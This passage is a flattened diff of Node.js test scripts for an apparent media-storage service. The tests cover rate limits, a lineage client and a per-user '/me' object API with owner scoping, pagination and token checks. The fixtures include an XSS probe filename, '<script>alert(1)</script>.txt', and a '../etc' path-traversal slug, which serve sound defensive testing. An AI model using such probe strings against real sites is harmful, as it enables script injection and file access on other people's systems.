Object.fromEntries(again.rate_limits.map((l) => [l.id, l]));++ assert.deepStrictEqual([rate['media.object.upload'].minute, rate['media.object.upload'].hour], [30, 600]);++ assert.deepStrictEqual([rate['media.object.part'].minute, rate['media.object.part'].hour], [600, 20000]);++ assert.strictEqual(rate['media.object.upload'].exceeded, '429 rate_limited');++ server.close();++ console.log('limits: all checks passed');++ })().catch((e) => { console.error(e); process.exit(1); });++})().catch((err) => { console.error(err); process.exit(1); });@@@ -1,29 +1,31 @@'use strict';/** Media asks Live's canonical lineage resolver (D20) for a channel, with its service token; no mapping of its own. */const assert = require('assert');--const { createLineageClient } = require('../server/lineage-client');--(async () => {-- const asked = [];-- let answer = { status: 'resolved', channel: { id: '17', slug: 'Goosely', owner_subject: 'usr_01JAB2C3D4E5F6G7H8J9K0MNPQ', legacy_ids: { live_user_id: 5 } }, rule: 'slug' };-- const fetchImpl = async (url, opts = {}) => {-- const u = new URL(url);-- const reply = (status, body) => ({ status, ok: status < 300, json: async () => body });-- if (u.pathname === '/oauth/token') return reply(200, { access_token: 'svc-media', token_type: 'Bearer', expires_in: 300, scope: 'live.lineage.resolve' });-- asked.push({ path: u.pathname, slug: u.searchParams.get('slug'), auth: opts.headers.Authorization });-- return typeof answer === 'number' ? reply(answer, {}) : reply(200, answer);-- };-- const c = createLineageClient({ liveUrl: 'http://live.test', networkUrl: 'http://net.test', clientSecret: 'media-secret-for-tests', fetchImpl });-- assert.deepStrictEqual(await c.channelBySlug('goosely'), { slug: 'Goosely', live_user_id: 5, owner_subject: 'usr_01JAB2C3D4E5F6G7H8J9K0MNPQ' });-- assert.deepStrictEqual(asked, [{ path: '/internal/lineage/resolve', slug: 'goosely', auth: 'Bearer svc-media' }]);-- answer = { status: 'unresolved', reason: 'no_match' };-- assert.strictEqual(await c.channelBySlug('nobody'), null, 'unresolved is an answer, not an error');-- assert.strictEqual(await c.channelBySlug('../etc'), null, 'not a slug: never sent');-- assert.strictEqual(asked.length, 2);-- answer = 503;-- await assert.rejects(c.channelBySlug('goosely'), /answered 503/, 'Live down: the caller falls back');-- const off = createLineageClient({ clientSecret: '', fetchImpl });-- assert.strictEqual(off.enabled, false);-- await assert.rejects(off.channelBySlug('goosely'), /off/);-- console.log('lineage client: all checks passed');--})().catch((e) => { console.error(e); process.exit(1); });++ const { createLineageClient } = require('../server/lineage-client');++++ (async () => {++ const asked = [];++ let answer = { status: 'resolved', channel: { id: '17', slug: 'Goosely', owner_subject: 'usr_01JAB2C3D4E5F6G7H8J9K0MNPQ', legacy_ids: { live_user_id: 5 } }, rule: 'slug' };++ const fetchImpl = async (url, opts = {}) => {++ const u = new URL(url);++ const reply = (status, body) => ({ status, ok: status < 300, json: async () => body });++ if (u.pathname === '/oauth/token') return reply(200, { access_token: 'svc-media', token_type: 'Bearer', expires_in: 300, scope: 'live.lineage.resolve' });++ asked.push({ path: u.pathname, slug: u.searchParams.get('slug'), auth: opts.headers.Authorization });++ return typeof answer === 'number' ? reply(answer, {}) : reply(200, answer);++ };++ const c = createLineageClient({ liveUrl: 'http://live.test', networkUrl: 'http://net.test', clientSecret: 'media-secret-for-tests', fetchImpl });++ assert.deepStrictEqual(await c.channelBySlug('goosely'), { slug: 'Goosely', live_user_id: 5, owner_subject: 'usr_01JAB2C3D4E5F6G7H8J9K0MNPQ' });++ assert.deepStrictEqual(asked, [{ path: '/internal/lineage/resolve', slug: 'goosely', auth: 'Bearer svc-media' }]);++ answer = { status: 'unresolved', reason: 'no_match' };++ assert.strictEqual(await c.channelBySlug('nobody'), null, 'unresolved is an answer, not an error');++ assert.strictEqual(await c.channelBySlug('../etc'), null, 'not a slug: never sent');++ assert.strictEqual(asked.length, 2);++ answer = 503;++ await assert.rejects(c.channelBySlug('goosely'), /answered 503/, 'Live down: the caller falls back');++ const off = createLineageClient({ clientSecret: '', fetchImpl });++ assert.strictEqual(off.enabled, false);++ await assert.rejects(off.channelBySlug('goosely'), /off/);++ console.log('lineage client: all checks passed');++ })().catch((e) => { console.error(e); process.exit(1); });++})().catch((err) => { console.error(err); process.exit(1); });@@@ -17,366 +17,367 @@ const os = require('os');const path = require('path');const http = require('http');--const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-me-'));--const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };--Object.assign(process.env, {-- DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),-- OBJECTS_PATH: dir('objects'), THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'),-- MEDIA_PUBLIC_URL: 'https://media.test', OV_NETWORK_URL: 'https://openvibe.network',--});--for (const k of Object.keys(process.env)) if (/^MEDIA_(B2|R2)_/.test(k)) delete process.env[k];--delete process.env.MEDIA_DRILL;++(async () => {++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-me-'));++ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };++ Object.assign(process.env, {++ DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),++ OBJECTS_PATH: dir('objects'), THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'),++ MEDIA_PUBLIC_URL: 'https://media.test', OV_NETWORK_URL: 'https://openvibe.network',++ });++ for (const k of Object.keys(process.env)) if (/^MEDIA_(B2|R2)_/.test(k)) delete process.env[k];++ delete process.env.MEDIA_DRILL;--const { ids } = require('openvibe-contracts');--const db = require('../server/db/database');--require('../server/views/service').ensureSchema();--const model = require('../server/objects/model');--const namespaces = require('../server/objects/namespaces');--const { createMeRoutes, personFromClaims } = require('../server/me/routes');--const express = require('express');++ const { ids } = require('openvibe-contracts');++ const db = require('../server/db/database');++ const model = require('../server/objects/model');++ const namespaces = require('../server/objects/namespaces');++ const { createMeRoutes, personFromClaims } = require('../server/me/routes');++ const express = require('express');--db.upsertApp({ app_id: 'live', name: 'OpenVibe.Live', api_key: 'live-key' });--db.upsertApp({ app_id: 'tools', name: 'OpenVibe.Tools', api_key: 'tools-key' });--for (const a of ['live', 'tools']) db.ensureRootNamespace(db.getApp(a));--namespaces.ensure(db.getApp('live'), 'live.avatars');++ await db.upsertApp({ app_id: 'live', name: 'OpenVibe.Live', api_key: 'live-key' });++ await db.upsertApp({ app_id: 'tools', name: 'OpenVibe.Tools', api_key: 'tools-key' });++ for (const a of ['live', 'tools']) await db.ensureRootNamespace(await db.getApp(a));++ await namespaces.ensure(await db.getApp('live'), 'live.avatars');--const ANA = `usr_${ids.ulid()}`;--const BEN = `usr_${ids.ulid()}`;--const ALEX = `usr_${ids.ulid()}`;--const base = Date.now() - 3600e3;--let tick = 0;--const make = (o) => model.createObject({ app_id: 'live', kind: 'file', visibility: 'private', lifecycle_status: 'ready', mime_type: 'text/plain', size_bytes: 100, createdMs: base + (tick++) * 1000, ...o });--const present = (id, bytes, key = path.join(process.env.OBJECTS_PATH, id)) => model.upsertLocation(id, { provider: 'local', key, state: 'present', size_bytes: bytes, verified: true });++ const ANA = `usr_${ids.ulid()}`;++ const BEN = `usr_${ids.ulid()}`;++ const ALEX = `usr_${ids.ulid()}`;++ const base = Date.now() - 3600e3;++ let tick = 0;++ const make = async (o) => await model.createObject({ app_id: 'live', kind: 'file', visibility: 'private', lifecycle_status: 'ready', mime_type: 'text/plain', size_bytes: 100, createdMs: base + (tick++) * 1000, ...o });++ const present = async (id, bytes, key = path.join(process.env.OBJECTS_PATH, id)) => await model.upsertLocation(id, { provider: 'local', key, state: 'present', size_bytes: bytes, verified: true });--// ── Fixtures: Ana's objects ──--const anaReady = [];--for (let i = 0; i < 30; i++) {-- const id = make({ owner_subject: ANA, metadata: { filename: `note-${i}.txt` }, size_bytes: 1000 + i });-- present(id, 1000 + i);-- anaReady.push(id);--}--const tricky = make({ owner_subject: ANA, visibility: 'public', metadata: { filename: '<script>alert(1)</script>.txt' }, size_bytes: 7 });--present(tricky, 7);--const avatar = make({ owner_subject: ANA, namespace: 'live.avatars', kind: 'avatar', mime_type: 'image/png', metadata: { filename: 'me.png' }, size_bytes: 500 });--present(avatar, 500);--const inTools = make({ app_id: 'tools', owner_subject: ANA, metadata: { filename: 'result.json' }, mime_type: 'application/json', size_bytes: 2048 });--present(inTools, 2048);--// Uploading, multipart: 2 of 4 parts of 1 MiB received.--const multi = make({ owner_subject: ANA, lifecycle_status: 'uploading', mime_type: 'video/mp4', kind: 'vod', metadata: { filename: 'big.mp4' }, size_bytes: 4 * 1048576 });--namespaces.reserve(model.getObject(multi), 4 * 1048576);--db.run("INSERT INTO media_uploads (id, object_id, app_id, part_size, total_size, parts_expected, status, expires_at) VALUES ('mup_TEST', ?, 'live', 1048576, ?, 4, 'active', datetime('now', '+1 day'))", [multi, 4 * 1048576]);--for (const n of [1, 3]) db.run("INSERT INTO media_upload_parts (upload_id, part_number, size_bytes, sha256) VALUES ('mup_TEST', ?, 1048576, 'x')", [n]);--// Uploading, single part, bytes stored and waiting for complete.--const stored = make({ owner_subject: ANA, lifecycle_status: 'uploading', metadata: { filename: 'stored.txt' }, size_bytes: 300 });--present(stored, 300);--// Uploading, a PUT still streaming (a temp file under OBJECTS_PATH/.tmp).--const streaming = make({ owner_subject: ANA, lifecycle_status: 'uploading', metadata: { filename: 'streaming.txt' }, size_bytes: 1000 });--fs.mkdirSync(path.join(process.env.OBJECTS_PATH, '.tmp'), { recursive: true });--fs.writeFileSync(path.join(process.env.OBJECTS_PATH, '.tmp', `${streaming}-abcd1234`), Buffer.alloc(250));--const deleted = make({ owner_subject: ANA, lifecycle_status: 'deleted', metadata: { filename: 'gone.txt', retention_until: new Date(Date.now() + 864e5).toISOString() }, size_bytes: 40 });--const failed = make({ owner_subject: ANA, lifecycle_status: 'failed', metadata: { filename: 'expired.txt', failure: 'upload_expired' }, size_bytes: 60 });--// A derivative (waveform variant) of one of Ana's, and a held one.--const wave = make({ owner_subject: ANA, kind: 'asset', mime_type: 'image/png', metadata: { derived_from: anaReady[0] }, size_bytes: 10 });--present(wave, 10);--model.setRelationship(wave, 'derived_from', anaReady[0], {});--model.setVariant(anaReady[0], 'waveform', wave, 'object.waveform@1');--model.placeHold({ object_id: anaReady[1], kind: 'evidence', reason: 'SECRET-HOLD-REASON', created_by: 'staff:x', note: 'SECRET-NOTE' });--// ── Ben's objects (must never show up for Ana) ──--const benIds = [];--for (let i = 0; i < 3; i++) { const id = make({ owner_subject: BEN, metadata: { filename: `ben-${i}.txt` }, size_bytes: 999999 }); present(id, 999999); benIds.push(id); }--const benUploading = make({ owner_subject: BEN, lifecycle_status: 'uploading', size_bytes: 5 });--// An object with no subject at all.--make({ owner_subject: null, owner_user_id: 5, metadata: { filename: 'nobody.txt' } });--// A failed job, for the operator views.--db.run(`INSERT INTO media_jobs (id, app_id, object_id, job_type, status, error, error_code, attempts, max_attempts, finished_at)-- VALUES ('mjob_TESTFAILED', 'live', ?, 'object.sprite', 'failed', 'ffmpeg exited 1', 'no_video', 1, 3, CURRENT_TIMESTAMP)`, [anaReady[2]]);--// A missing copy and a no-good-copy object.--const lost = make({ owner_subject: BEN, size_bytes: 1 });--model.upsertLocation(lost, { provider: 'b2', key: 'k/lost', state: 'missing', size_bytes: 1, verified: true });++ // ── Fixtures: Ana's objects ──++ const anaReady = [];++ for (let i = 0; i < 30; i++) {++ const id = await make({ owner_subject: ANA, metadata: { filename: `note-${i}.txt` }, size_bytes: 1000 + i });++ await present(id, 1000 + i);++ anaReady.push(id);++ }++ const tricky = await make({ owner_subject: ANA, visibility: 'public', metadata: { filename: '<script>alert(1)</script>.txt' }, size_bytes: 7 });++ await present(tricky, 7);++ const avatar = await make({ owner_subject: ANA, namespace: 'live.avatars', kind: 'avatar', mime_type: 'image/png', metadata: { filename: 'me.png' }, size_bytes: 500 });++ await present(avatar, 500);++ const inTools = await make({ app_id: 'tools', owner_subject: ANA, metadata: { filename: 'result.json' }, mime_type: 'application/json', size_bytes: 2048 });++ await present(inTools, 2048);++ // Uploading, multipart: 2 of 4 parts of 1 MiB received.++ const multi = await make({ owner_subject: ANA, lifecycle_status: 'uploading', mime_type: 'video/mp4', kind: 'vod', metadata: { filename: 'big.mp4' }, size_bytes: 4 * 1048576 });++ await namespaces.reserve(await model.getObject(multi), 4 * 1048576);++ await db.run("INSERT INTO media_uploads (id, object_id, app_id, part_size, total_size, parts_expected, status, expires_at) VALUES ('mup_TEST', ?, 'live', 1048576, ?, 4, 'active', datetime('now', '+1 day'))", [multi, 4 * 1048576]);++ for (const n of [1, 3]) await db.run("INSERT INTO media_upload_parts (upload_id, part_number, size_bytes, sha256) VALUES ('mup_TEST', ?, 1048576, 'x')", [n]);++ // Uploading, single part, bytes stored and waiting for complete.++ const stored = await make({ owner_subject: ANA, lifecycle_status: 'uploading', metadata: { filename: 'stored.txt' }, size_bytes: 300 });++ await present(stored, 300);++ // Uploading, a PUT still streaming (a temp file under OBJECTS_PATH/.tmp).++ const streaming = await make({ owner_subject: ANA, lifecycle_status: 'uploading', metadata: { filename: 'streaming.txt' }, size_bytes: 1000 });++ fs.mkdirSync(path.join(process.env.OBJECTS_PATH, '.tmp'), { recursive: true });++ fs.writeFileSync(path.join(process.env.OBJECTS_PATH, '.tmp', `${streaming}-abcd1234`), Buffer.alloc(250));++ const deleted = await make({ owner_subject: ANA, lifecycle_status: 'deleted', metadata: { filename: 'gone.txt', retention_until: new Date(Date.now() + 864e5).toISOString() }, size_bytes: 40 });++ const failed = await make({ owner_subject: ANA, lifecycle_status: 'failed', metadata: { filename: 'expired.txt', failure: 'upload_expired' }, size_bytes: 60 });++ // A derivative (waveform variant) of one of Ana's, and a held one.++ const wave = await make({ owner_subject: ANA, kind: 'asset', mime_type: 'image/png', metadata: { derived_from: anaReady[0] }, size_bytes: 10 });++ await present(wave, 10);++ await model.setRelationship(wave, 'derived_from', anaReady[0], {});++ await model.setVariant(anaReady[0], 'waveform', wave, 'object.waveform@1');++ await model.placeHold({ object_id: anaReady[1], kind: 'evidence', reason: 'SECRET-HOLD-REASON', created_by: 'staff:x', note: 'SECRET-NOTE' });++ // ── Ben's objects (must never show up for Ana) ──++ const benIds = [];++ for (let i = 0; i < 3; i++) { const id = await make({ owner_subject: BEN, metadata: { filename: `ben-${i}.txt` }, size_bytes: 999999 }); await present(id, 999999); benIds.push(id); }++ const benUploading = await make({ owner_subject: BEN, lifecycle_status: 'uploading', size_bytes: 5 });++ // An object with no subject at all.++ await make({ owner_subject: null, owner_user_id: 5, metadata: { filename: 'nobody.txt' } });++ // A failed job, for the operator views.++ await db.run(`INSERT INTO media_jobs (id, app_id, object_id, job_type, status, error, error_code, attempts, max_attempts, finished_at)++ VALUES ('mjob_TESTFAILED', 'live', ?, 'object.sprite', 'failed', 'ffmpeg exited 1', 'no_video', 1, 3, ov_now())`, [anaReady[2]]);++ // A missing copy and a no-good-copy object.++ const lost = await make({ owner_subject: BEN, size_bytes: 1 });++ await model.upsertLocation(lost, { provider: 'b2', key: 'k/lost', state: 'missing', size_bytes: 1, verified: true });--// ── Tokens: what auth.verify (the JWKS-backed verifier) would answer ──--const AUD = ['openvibe.live', 'openvibe.media', 'openvibe.network'];--const CLAIMS = {-- ana: { sub: 7, subject_id: ANA, username: 'ana', role: 'user', aud: AUD },-- ben: { sub: 8, subject_id: BEN, username: 'ben', role: 'user', aud: AUD },-- admin: { sub: 1, subject_id: ALEX, username: 'alex', role: 'admin', aud: AUD },-- mod: { sub: 2, subject_id: `usr_${ids.ulid()}`, username: 'mo', role: 'global_mod', aud: AUD },-- liveOnly: { sub: 7, subject_id: ANA, username: 'ana', aud: ['openvibe.live'] },-- service: { sub: 'svc:community', subject_id: ANA, aud: AUD, actor_type: 'service' },-- fedcm: { sub: 7, subject_id: ANA, aud: AUD, typ: 'fedcm' },-- noSubject: { sub: 7, username: 'ana', aud: AUD },--};--const auth = { verify: async (token) => CLAIMS[token] || null };++ // ── Tokens: what auth.verify (the JWKS-backed verifier) would answer ──++ const AUD = ['openvibe.live', 'openvibe.media', 'openvibe.network'];++ const CLAIMS = {++ ana: { sub: 7, subject_id: ANA, username: 'ana', role: 'user', aud: AUD },++ ben: { sub: 8, subject_id: BEN, username: 'ben', role: 'user', aud: AUD },++ admin: { sub: 1, subject_id: ALEX, username: 'alex', role: 'admin', aud: AUD },++ mod: { sub: 2, subject_id: `usr_${ids.ulid()}`, username: 'mo', role: 'global_mod', aud: AUD },++ liveOnly: { sub: 7, subject_id: ANA, username: 'ana', aud: ['openvibe.live'] },++ service: { sub: 'svc:community', subject_id: ANA, aud: AUD, actor_type: 'service' },++ fedcm: { sub: 7, subject_id: ANA, aud: AUD, typ: 'fedcm' },++ noSubject: { sub: 7, username: 'ana', aud: AUD },++ };++ const auth = { verify: async (token) => CLAIMS[token] || null };--const app = express();--app.use((req, _res, next) => { // as server/index.js parses cookies-- req.cookies = {};-- for (const part of String(req.headers.cookie || '').split(';')) { const i = part.indexOf('='); if (i > 0) req.cookies[part.slice(0, i).trim()] = decodeURIComponent(part.slice(i + 1).trim()); }-- next();--});--app.use(express.json());--app.use(express.urlencoded({ extended: true }));--const me = createMeRoutes({ auth });--app.use('/api/v2/me', me.api);--app.use('/me', me.pages);--app.use('/api/v1/:app/admin/storage', require('../server/admin/routes'));--app.use('/', require('../server/public/crawl'));--app.use(require('../server/not-found').notFound);++ const app = express();++ app.use((req, _res, next) => { // as server/index.js parses cookies++ req.cookies = {};++ for (const part of String(req.headers.cookie || '').split(';')) { const i = part.indexOf('='); if (i > 0) req.cookies[part.slice(0, i).trim()] = decodeURIComponent(part.slice(i + 1).trim()); }++ next();++ });++ app.use(express.json());++ app.use(express.urlencoded({ extended: true }));++ const me = createMeRoutes({ auth });++ app.use('/api/v2/me', me.api);++ app.use('/me', me.pages);++ app.use('/api/v1/:app/admin/storage', require('../server/admin/routes'));++ app.use('/', require('../server/public/crawl'));++ app.use(require('../server/not-found').notFound);--(async () => {-- const server = await new Promise((r) => { const s = app.listen(0, '127.0.0.1', () => r(s)); });-- const call = (method, p, { token = null, cookie = null, headers = {}, body = null } = {}) => new Promise((resolve, reject) => {-- const data = body == null ? '' : (typeof body === 'string' ? body : JSON.stringify(body));-- const h = { ...headers };-- if (token) h.authorization = `Bearer ${token}`;-- if (cookie) h.cookie = `ov_token=${cookie}`;-- if (data) { h['content-type'] = h['content-type'] || 'application/json'; h['content-length'] = Buffer.byteLength(data); }-- const rq = http.request({ host: '127.0.0.1', port: server.address().port, path: p, method, headers: h }, (res) => {-- let b = ''; res.on('data', (c) => { b += c; });-- res.on('end', () => { let json = null; try { json = JSON.parse(b); } catch { /* html */ } resolve({ status: res.statusCode, headers: res.headers, text: b, json }); });++ (async () => {++ const server = await new Promise((r) => { const s = app.listen(0, '127.0.0.1', () => r(s)); });++ const call = (method, p, { token = null, cookie = null, headers = {}, body = null } = {}) => new Promise((resolve, reject) => {++ const data = body == null ? '' : (typeof body === 'string' ? body : JSON.stringify(body));++ const h = { ...headers };++ if (token) h.authorization = `Bearer ${token}`;++ if (cookie) h.cookie = `ov_token=${cookie}`;++ if (data) { h['content-type'] = h['content-type'] || 'application/json'; h['content-length'] = Buffer.byteLength(data); }++ const rq = http.request({ host: '127.0.0.1', port: server.address().port, path: p, method, headers: h }, (res) => {++ let b = ''; res.on('data', (c) => { b += c; });++ res.on('end', () => { let json = null; try { json = JSON.parse(b); } catch { /* html */ } resolve({ status: res.statusCode, headers: res.headers, text: b, json }); });++ });++ rq.on('error', reject);++ rq.end(data);});-- rq.on('error', reject);-- rq.end(data);-- });-- const all = async (token, qs = '') => {-- const seen = [];-- let cursor = null, pages = 0;-- do {-- const r = await call('GET', `/api/v2/me/objects?limit=7${qs}${cursor ? `&cursor=${cursor}` : ''}`, { token });-- assert.strictEqual(r.status, 200, r.text);-- seen.push(...r.json.objects);-- cursor = r.json.next_cursor;-- assert.ok(++pages < 50);-- } while (cursor);-- return seen;-- };-- try {-- // ── Signed out ──-- let r = await call('GET', '/api/v2/me/objects');-- assert.deepStrictEqual([r.status, r.json.code], [401, 'auth.required']);-- assert.strictEqual(r.headers['cache-control'], 'private, no-store');-- assert.strictEqual((await call('GET', '/api/v2/me/usage')).status, 401);-- assert.strictEqual((await call('GET', `/api/v2/me/objects/${anaReady[0]}`)).status, 401);-- r = await call('GET', '/me');-- assert.strictEqual(r.status, 200);-- assert.ok(r.text.includes('href="/auth/login?next=%2Fme"'), 'the sign-in prompt comes back to /me');-- assert.ok(r.text.includes('<meta name="robots" content="noindex, nofollow">'));-- assert.ok(r.headers['x-robots-tag'].includes('noindex') && r.headers['cache-control'] === 'private, no-store');-- assert.ok(!r.text.includes(anaReady[0]) && !r.text.includes('<table'), 'nothing of anyone is shown');-- assert.ok(r.text.includes('navbar.js') && r.text.includes('"sessionUrl":"/auth/me"'), 'in the OpenVibe Frame');-- console.log('✅ signed out: the API answers 401, /me is a sign-in prompt in the Frame');++ const all = async (token, qs = '') => {++ const seen = [];++ let cursor = null, pages = 0;++ do {++ const r = await call('GET', `/api/v2/me/objects?limit=7${qs}${cursor ? `&cursor=${cursor}` : ''}`, { token });++ assert.strictEqual(r.status, 200, r.text);++ seen.push(...r.json.objects);++ cursor = r.json.next_cursor;++ assert.ok(++pages < 50);++ } while (cursor);++ return seen;++ };++ try {++ // ── Signed out ──++ let r = await call('GET', '/api/v2/me/objects');++ assert.deepStrictEqual([r.status, r.json.code], [401, 'auth.required']);++ assert.strictEqual(r.headers['cache-control'], 'private, no-store');++ assert.strictEqual((await call('GET', '/api/v2/me/usage')).status, 401);++ assert.strictEqual((await call('GET', `/api/v2/me/objects/${anaReady[0]}`)).status, 401);++ r = await call('GET', '/me');++ assert.strictEqual(r.status, 200);++ assert.ok(r.text.includes('href="/auth/login?next=%2Fme"'), 'the sign-in prompt comes back to /me');++ assert.ok(r.text.includes('<meta name="robots" content="noindex, nofollow">'));++ assert.ok(r.headers['x-robots-tag'].includes('noindex') && r.headers['cache-control'] === 'private, no-store');++ assert.ok(!r.text.includes(anaReady[0]) && !r.text.includes('<table'), 'nothing of anyone is shown');++ assert.ok(r.text.includes('navbar.js') && r.text.includes('"sessionUrl":"/auth/me"'), 'in the OpenVibe Frame');++ console.log('✅ signed out: the API answers 401, /me is a sign-in prompt in the Frame');-- // ── Only a person's access token for this site identifies them ──-- assert.strictEqual((await call('GET', '/api/v2/me/objects', { token: 'forged' })).json.code, 'auth.invalid');-- for (const t of ['liveOnly', 'service', 'fedcm']) {-- r = await call('GET', '/api/v2/me/objects', { token: t });-- assert.deepStrictEqual([r.status, r.json.code], [401, 'auth.invalid'], t);-- }-- assert.strictEqual((await call('GET', '/api/v2/me/objects', { token: 'noSubject' })).json.code, 'auth.no_subject');-- assert.ok(personFromClaims(CLAIMS.ana).person && !personFromClaims(null).person);-- r = await call('GET', '/me', { cookie: 'noSubject' });-- assert.ok(r.text.includes('no network subject') && r.text.includes('/auth/login'), 'a sign-in without a subject is asked to sign in again');-- console.log('✅ identity: audience openvibe.media, a person (no principals, no FedCM assertions) with a usr_ subject');++ // ── Only a person's access token for this site identifies them ──++ assert.strictEqual((await call('GET', '/api/v2/me/objects', { token: 'forged' })).json.code, 'auth.invalid');++ for (const t of ['liveOnly', 'service', 'fedcm']) {++ r = await call('GET', '/api/v2/me/objects', { token: t });++ assert.deepStrictEqual([r.status, r.json.code], [401, 'auth.invalid'], t);++ }++ assert.strictEqual((await call('GET', '/api/v2/me/objects', { token: 'noSubject' })).json.code, 'auth.no_subject');++ assert.ok(personFromClaims(CLAIMS.ana).person && !personFromClaims(null).person);++ r = await call('GET', '/me', { cookie: 'noSubject' });++ assert.ok(r.text.includes('no network subject') && r.text.includes('/auth/login'), 'a sign-in without a subject is asked to sign in again');++ console.log('✅ identity: audience openvibe.media, a person (no principals, no FedCM assertions) with a usr_ subject');-- // ── Owner scoping and pagination ──-- const anaAll = await all('ana', '&status=all');-- const anaIds = anaAll.map(o => o.id);-- assert.strictEqual(new Set(anaIds).size, anaIds.length, 'no object twice across pages');-- assert.deepStrictEqual([...anaIds].sort().reverse(), anaIds, 'newest first');-- const expected = db.all('SELECT id FROM media_objects WHERE owner_subject = ? ORDER BY id DESC', [ANA]).map(x => x.id);-- assert.deepStrictEqual(anaIds, expected, 'every one of her objects, in every tenant and status');-- for (const b of [...benIds, benUploading, lost]) assert.ok(!anaIds.includes(b), 'never another person\'s object');-- const benAll = await all('ben', '&status=all');-- assert.deepStrictEqual(benAll.map(o => o.id).sort(), [...benIds, benUploading, lost].sort());-- r = await call('GET', `/api/v2/me/objects/${benIds[0]}`, { token: 'ana' });-- assert.deepStrictEqual([r.status, r.json.code], [404, 'media.object.not_found'], 'another person\'s object is not found');-- assert.strictEqual((await call('GET', `/me/objects/${benIds[0]}`, { cookie: 'ana' })).status, 404, 'nor its page');-- r = await call('GET', '/api/v2/me/objects?limit=10', { token: 'ana' });-- assert.strictEqual(r.json.objects.length, 10);-- assert.strictEqual(r.json.next_cursor, r.json.objects[9].id);-- const page2 = await call('GET', `/api/v2/me/objects?limit=10&cursor=${r.json.next_cursor}`, { token: 'ana' });-- assert.ok(page2.json.objects.every(o => o.id < r.json.next_cursor));-- assert.strictEqual((await call('GET', '/api/v2/me/objects?cursor=nope', { token: 'ana' })).status, 400);-- assert.strictEqual((await call('GET', '/api/v2/me/objects?limit=1000', { token: 'ana' })).json.limit, 100);-- assert.strictEqual((await call('GET', '/api/v2/me/objects?status=gone', { token: 'ana' })).status, 400);-- const byDefault = await all('ana');-- assert.ok(!byDefault.some(o => o.lifecycle_status === 'deleted') && byDefault.length === anaIds.length - 1, 'deleted objects only on request');-- console.log(`✅ scoping + pagination: ${anaIds.length} of Ana's objects over pages of 7, none of Ben's; another person's id is a 404`);++ // ── Owner scoping and pagination ──++ const anaAll = await all('ana', '&status=all');++ const anaIds = anaAll.map(o => o.id);++ assert.strictEqual(new Set(anaIds).size, anaIds.length, 'no object twice across pages');++ assert.deepStrictEqual([...anaIds].sort().reverse(), anaIds, 'newest first');++ const expected = (await db.all('SELECT id FROM media_objects WHERE owner_subject = ? ORDER BY id DESC', [ANA])).map(x => x.id);++ assert.deepStrictEqual(anaIds, expected, 'every one of her objects, in every tenant and status');++ for (const b of [...benIds, benUploading, lost]) assert.ok(!anaIds.includes(b), 'never another person\'s object');++ const benAll = await all('ben', '&status=all');++ assert.deepStrictEqual(benAll.map(o => o.id).sort(), [...benIds, benUploading, lost].sort());++ r = await call('GET', `/api/v2/me/objects/${benIds[0]}`, { token: 'ana' });++ assert.deepStrictEqual([r.status, r.json.code], [404, 'media.object.not_found'], 'another person\'s object is not found');++ assert.strictEqual((await call('GET', `/me/objects/${benIds[0]}`, { cookie: 'ana' })).status, 404, 'nor its page');++ r = await call('GET', '/api/v2/me/objects?limit=10', { token: 'ana' });++ assert.strictEqual(r.json.objects.length, 10);++ assert.strictEqual(r.json.next_cursor, r.json.objects[9].id);++ const page2 = await call('GET', `/api/v2/me/objects?limit=10&cursor=${r.json.next_cursor}`, { token: 'ana' });++ assert.ok(page2.json.objects.every(o => o.id < r.json.next_cursor));++ assert.strictEqual((await call('GET', '/api/v2/me/objects?cursor=nope', { token: 'ana' })).status, 400);++ assert.strictEqual((await call('GET', '/api/v2/me/objects?limit=1000', { token: 'ana' })).json.limit, 100);++ assert.strictEqual((await call('GET', '/api/v2/me/objects?status=gone', { token: 'ana' })).status, 400);++ const byDefault = await all('ana');++ assert.ok(!byDefault.some(o => o.lifecycle_status === 'deleted') && byDefault.length === anaIds.length - 1, 'deleted objects only on request');++ console.log(`✅ scoping + pagination: ${anaIds.length} of Ana's objects over pages of 7, none of Ben's; another person's id is a 404`);-- // ── Filters ──-- r = await call('GET', '/api/v2/me/objects?status=uploading', { token: 'ana' });-- assert.deepStrictEqual(r.json.objects.map(o => o.id).sort(), [multi, stored, streaming].sort());-- r = await call('GET', '/api/v2/me/objects?app=tools', { token: 'ana' });-- assert.deepStrictEqual(r.json.objects.map(o => o.id), [inTools]);-- assert.deepStrictEqual([r.json.objects[0].tenant.name, r.json.objects[0].app_id], ['OpenVibe.Tools', 'tools']);-- r = await call('GET', '/api/v2/me/objects?kind=avatar', { token: 'ana' });-- assert.deepStrictEqual(r.json.objects.map(o => [o.id, o.namespace]), [[avatar, 'live.avatars']]);-- r = await call('GET', '/api/v2/me/objects?q=NOTE-2', { token: 'ana' });-- assert.deepStrictEqual(r.json.objects.map(o => o.filename).sort(), ['note-2.txt', 'note-20.txt', 'note-21.txt', 'note-22.txt', 'note-23.txt', 'note-24.txt', 'note-25.txt', 'note-26.txt', 'note-27.txt', 'note-28.txt', 'note-29.txt']);-- r = await call('GET', `/api/v2/me/objects?q=${benIds[0]}`, { token: 'ana' });-- assert.deepStrictEqual(r.json.objects, [], 'searching for someone else\'s id finds nothing');-- r = await call('GET', '/api/v2/me/objects?q=ben-', { token: 'ana' });-- assert.deepStrictEqual(r.json.objects, []);-- console.log('✅ filters: status, tenant, kind, search (name, title, type, id), all within her own objects');++ // ── Filters ──++ r = await call('GET', '/api/v2/me/objects?status=uploading', { token: 'ana' });++ assert.deepStrictEqual(r.json.objects.map(o => o.id).sort(), [multi, stored, streaming].sort());++ r = await call('GET', '/api/v2/me/objects?app=tools', { token: 'ana' });++ assert.deepStrictEqual(r.json.objects.map(o => o.id), [inTools]);++ assert.deepStrictEqual([r.json.objects[0].tenant.name, r.json.objects[0].app_id], ['OpenVibe.Tools', 'tools']);++ r = await call('GET', '/api/v2/me/objects?kind=avatar', { token: 'ana' });++ assert.deepStrictEqual(r.json.objects.map(o => [o.id, o.namespace]), 